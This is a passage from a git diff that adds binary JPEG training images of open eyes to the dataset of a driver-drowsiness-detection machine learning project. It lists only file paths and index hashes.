Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_601.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_602.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_602.jpg new file mode 100644 index 00000000..d84fa747 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_602.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_603.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_603.jpg new file mode 100644 index 00000000..44a62e48 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_603.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_604.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_604.jpg new file mode 100644 index 00000000..4ae10e65 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_604.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_606.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_606.jpg new file mode 100644 index 00000000..279f419f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_606.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_607.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_607.jpg new file mode 100644 index 00000000..a3123efb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_607.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_610.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_610.jpg new file mode 100644 index 00000000..df09e965 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_610.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_611.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_611.jpg new file mode 100644 index 00000000..3fe2b785 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_611.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_612.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_612.jpg new file mode 100644 index 00000000..1adcf584 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_612.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_613.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_613.jpg new file mode 100644 index 00000000..6f86a7a0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_613.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_614.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_614.jpg new file mode 100644 index 00000000..ee55044a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_614.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_615.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_615.jpg new file mode 100644 index 00000000..fce5502f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_615.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_616.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_616.jpg new file mode 100644 index 00000000..5001e242 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_616.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_617.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_617.jpg new file mode 100644 index 00000000..b396932f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_617.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_619.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_619.jpg new file mode 100644 index 00000000..77b3cf56 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_619.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_62.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_62.jpg new file mode 100644 index 00000000..d25fb0b4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_62.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_620.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_620.jpg new file mode 100644 index 00000000..0ec894f0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_620.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_621.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_621.jpg new file mode 100644 index 00000000..c4219240 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_621.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_622.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_622.jpg new file mode 100644 index 00000000..ad9cc8ea Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_622.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_623.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_623.jpg new file mode 100644 index 00000000..6301153d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_623.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_625.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_625.jpg new file mode 100644 index 00000000..d4f654c5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_625.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_626.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_626.jpg new file mode 100644 index 00000000..ae779a21 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_626.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_627.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_627.jpg new file mode 100644 index 00000000..864cd4ee Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_627.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_628.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_628.jpg new file mode 100644 index 00000000..e64a4413 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_628.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_629.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_629.jpg new file mode 100644 index 00000000..65d545e8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_629.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_63.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_63.jpg new file mode 100644 index 00000000..63dbb793 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_63.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_630.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_630.jpg new file mode 100644 index 00000000..bd0e9bc2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_630.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_631.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_631.jpg new file mode 100644 index 00000000..68defe10 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_631.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_632.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_632.jpg new file mode 100644 index 00000000..0709f484 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_632.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_633.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_633.jpg new file mode 100644 index 00000000..1f07692f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_633.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_635.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_635.jpg new file mode 100644 index 00000000..b351ea38 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_635.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_636.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_636.jpg new file mode 100644 index 00000000..9845694a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_636.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_637.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_637.jpg new file mode 100644 index 00000000..2c827dc6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_637.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_638.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_638.jpg new file mode 100644 index 00000000..040c7e26 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_638.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_640.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_640.jpg new file mode 100644 index 00000000..4bf9b024 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_640.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_641.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_641.jpg new file mode 100644 index 00000000..4856b4a6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_641.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_642.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_642.jpg new file mode 100644 index 00000000..3b42ff84 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_642.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_643.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_643.jpg new file mode 100644 index 00000000..b00a25df Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_643.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_644.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_644.jpg new file mode 100644 index 00000000..92885f6e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_644.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_645.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_645.jpg new file mode 100644 index 00000000..70bf09d1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_645.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_646.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_646.jpg new file mode 100644 index 00000000..4cef8ec9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_646.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_647.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_647.jpg new file mode 100644 index 00000000..7f979d4f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_647.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_648.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_648.jpg new file mode 100644 index 00000000..2d272343 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_648.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_649.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_649.jpg new file mode 100644 index 00000000..7e4d74cf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_649.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_65.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_65.jpg new file mode 100644 index 00000000..4955f2ee Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_65.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_651.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_651.jpg new file mode 100644 index 00000000..248016ca Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_651.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_652.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_652.jpg new file mode 100644 index 00000000..7b0de018 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_652.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_653.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_653.jpg new file mode 100644 index 00000000..b3c5d6a2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_653.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_654.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_654.jpg new file mode 100644 index 00000000..956ce4c6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_654.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_655.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_655.jpg new file mode 100644 index 00000000..7e9c4098 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_655.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_657.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_657.jpg new file mode 100644 index 00000000..e2e221c9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_657.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_658.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_658.jpg new file mode 100644 index 00000000..eed14f86 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_658.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_659.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_659.jpg new file mode 100644 index 00000000..cb5b53ae Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_659.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_66.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_66.jpg new file mode 100644 index 00000000..e31dc82a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_66.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_660.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_660.jpg new file mode 100644 index 00000000..ae99616a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_660.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_661.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_661.jpg new file mode 100644 index 00000000..36c38003 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_661.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_662.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_662.jpg new file mode 100644 index 00000000..0b3557ad Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_662.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_663.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_663.jpg new file mode 100644 index 00000000..1ead6e28 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_663.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_664.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_664.jpg new file mode 100644 index 00000000..9a058682 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_664.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_665.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_665.jpg new file mode 100644 index 00000000..3016a6d1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_665.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_668.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_668.jpg new file mode 100644 index 00000000..2b7b942e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_668.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_669.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_669.jpg new file mode 100644 index 00000000..c30616de Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_669.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_67.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_67.jpg new file mode 100644 index 00000000..db1ff2d9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_67.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_670.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_670.jpg new file mode 100644 index 00000000..cdd28a8a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_670.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_671.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_671.jpg new file mode 100644 index 00000000..5cd8ab08 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_671.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_672.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_672.jpg new file mode 100644 index 00000000..d6b6e151 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_672.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_673.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_673.jpg new file mode 100644 index 00000000..eaa10355 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_673.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_674.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_674.jpg new file mode 100644 index 00000000..588494a9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_674.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_675.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_675.jpg new file mode 100644 index 00000000..7b3fb37e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_675.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_676.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_676.jpg new file mode 100644 index 00000000..5ec649f3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_676.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_677.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_677.jpg new file mode 100644 index 00000000..80dacd74 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_677.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_678.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_678.jpg new file mode 100644 index 00000000..8ee5fe29 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_678.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_68.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_68.jpg new file mode 100644 index 00000000..5142c66d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_68.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_680.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_680.jpg new file mode 100644 index 00000000..e0f0b5ad Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_680.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_681.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_681.jpg new file mode 100644 index 00000000..aa58d99a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_681.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_682.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_682.jpg new file mode 100644 index 00000000..e0cd840a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_682.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_683.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_683.jpg new file mode 100644 index 00000000..773175df Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_683.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_684.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_684.jpg new file mode 100644 index 00000000..673382ea Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_684.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_685.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_685.jpg new file mode 100644 index 00000000..8e5c0e08 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_685.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_686.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_686.jpg new file mode 100644 index 00000000..4ab92e8c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_686.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_688.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_688.jpg new file mode 100644 index 00000000..cdac6924 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_688.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_689.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_689.jpg new file mode 100644 index 00000000..a764db55 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_689.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_69.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_69.jpg new file mode 100644 index 00000000..a03f3d5a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_69.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_690.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_690.jpg new file mode 100644 index 00000000..5eceb4c8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_690.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_691.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_691.jpg new file mode 100644 index 00000000..69456cb8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_691.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_692.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_692.jpg new file mode 100644 index 00000000..615cd8f4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_692.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_693.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_693.jpg new file mode 100644 index 00000000..cbeb99d3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_693.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_694.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_694.jpg new file mode 100644 index 00000000..1314721a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_694.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_695.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_695.jpg new file mode 100644 index 00000000..bd3ee515 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_695.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_696.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_696.jpg new file mode 100644 index 00000000..bb014034 Binary files /dev/null and b/MachineLearning 